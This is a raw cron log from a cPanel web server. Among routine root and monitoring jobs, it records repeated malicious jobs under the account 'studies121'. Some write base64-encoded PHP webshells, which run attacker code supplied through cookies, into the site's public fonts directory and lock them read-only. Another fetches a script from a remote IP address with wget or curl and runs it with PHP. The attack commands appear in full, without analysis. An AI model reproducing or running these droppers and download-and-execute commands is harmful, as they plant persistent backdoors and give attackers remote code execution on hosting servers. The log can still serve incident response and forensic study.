Sep 11 13:23:01 ip-184-168-122-23 CROND[10039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:23:01 ip-184-168-122-23 CROND[10038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:24:01 ip-184-168-122-23 CROND[10126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:24:01 ip-184-168-122-23 CROND[10127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:24:01 ip-184-168-122-23 CROND[10130]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:24:01 ip-184-168-122-23 CROND[10133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:24:01 ip-184-168-122-23 CROND[10131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:25:01 ip-184-168-122-23 CROND[10241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:25:01 ip-184-168-122-23 CROND[10243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:25:01 ip-184-168-122-23 CROND[10244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:25:01 ip-184-168-122-23 CROND[10245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:25:01 ip-184-168-122-23 CROND[10247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:25:01 ip-184-168-122-23 CROND[10246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:26:01 ip-184-168-122-23 CROND[10366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:26:01 ip-184-168-122-23 CROND[10368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:26:01 ip-184-168-122-23 CROND[10369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:26:01 ip-184-168-122-23 CROND[10370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:26:01 ip-184-168-122-23 CROND[10371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:27:01 ip-184-168-122-23 CROND[10476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:27:01 ip-184-168-122-23 CROND[10479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:27:01 ip-184-168-122-23 CROND[10478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:27:01 ip-184-168-122-23 CROND[10481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:28:01 ip-184-168-122-23 CROND[10655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:28:01 ip-184-168-122-23 CROND[10658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:28:01 ip-184-168-122-23 CROND[10659]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:28:01 ip-184-168-122-23 CROND[10660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:28:01 ip-184-168-122-23 CROND[10656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:29:01 ip-184-168-122-23 CROND[10778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:29:01 ip-184-168-122-23 CROND[10779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:29:01 ip-184-168-122-23 CROND[10784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:29:01 ip-184-168-122-23 CROND[10785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:30:01 ip-184-168-122-23 CROND[10908]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:30:01 ip-184-168-122-23 CROND[10913]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:30:01 ip-184-168-122-23 CROND[10917]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:30:01 ip-184-168-122-23 CROND[10919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:30:01 ip-184-168-122-23 CROND[10921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:30:01 ip-184-168-122-23 CROND[10918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:30:01 ip-184-168-122-23 CROND[10920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:30:01 ip-184-168-122-23 CROND[10922]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 13:31:01 ip-184-168-122-23 CROND[11023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:31:01 ip-184-168-122-23 CROND[11026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:31:01 ip-184-168-122-23 CROND[11028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:31:01 ip-184-168-122-23 CROND[11025]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 13:31:01 ip-184-168-122-23 CROND[11027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:32:01 ip-184-168-122-23 CROND[11140]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:32:01 ip-184-168-122-23 CROND[11142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:32:01 ip-184-168-122-23 CROND[11141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:32:01 ip-184-168-122-23 CROND[11144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:32:01 ip-184-168-122-23 CROND[11148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:33:01 ip-184-168-122-23 CROND[11337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:33:01 ip-184-168-122-23 CROND[11339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:33:01 ip-184-168-122-23 CROND[11338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:33:01 ip-184-168-122-23 CROND[11340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:34:01 ip-184-168-122-23 CROND[11430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:34:01 ip-184-168-122-23 CROND[11431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:34:01 ip-184-168-122-23 CROND[11433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:34:01 ip-184-168-122-23 CROND[11434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:34:01 ip-184-168-122-23 CROND[11432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:35:01 ip-184-168-122-23 CROND[11641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:35:01 ip-184-168-122-23 CROND[11642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:35:01 ip-184-168-122-23 CROND[11644]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 13:35:01 ip-184-168-122-23 CROND[11648]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 13:35:01 ip-184-168-122-23 CROND[11645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:35:01 ip-184-168-122-23 CROND[11649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:35:01 ip-184-168-122-23 CROND[11650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
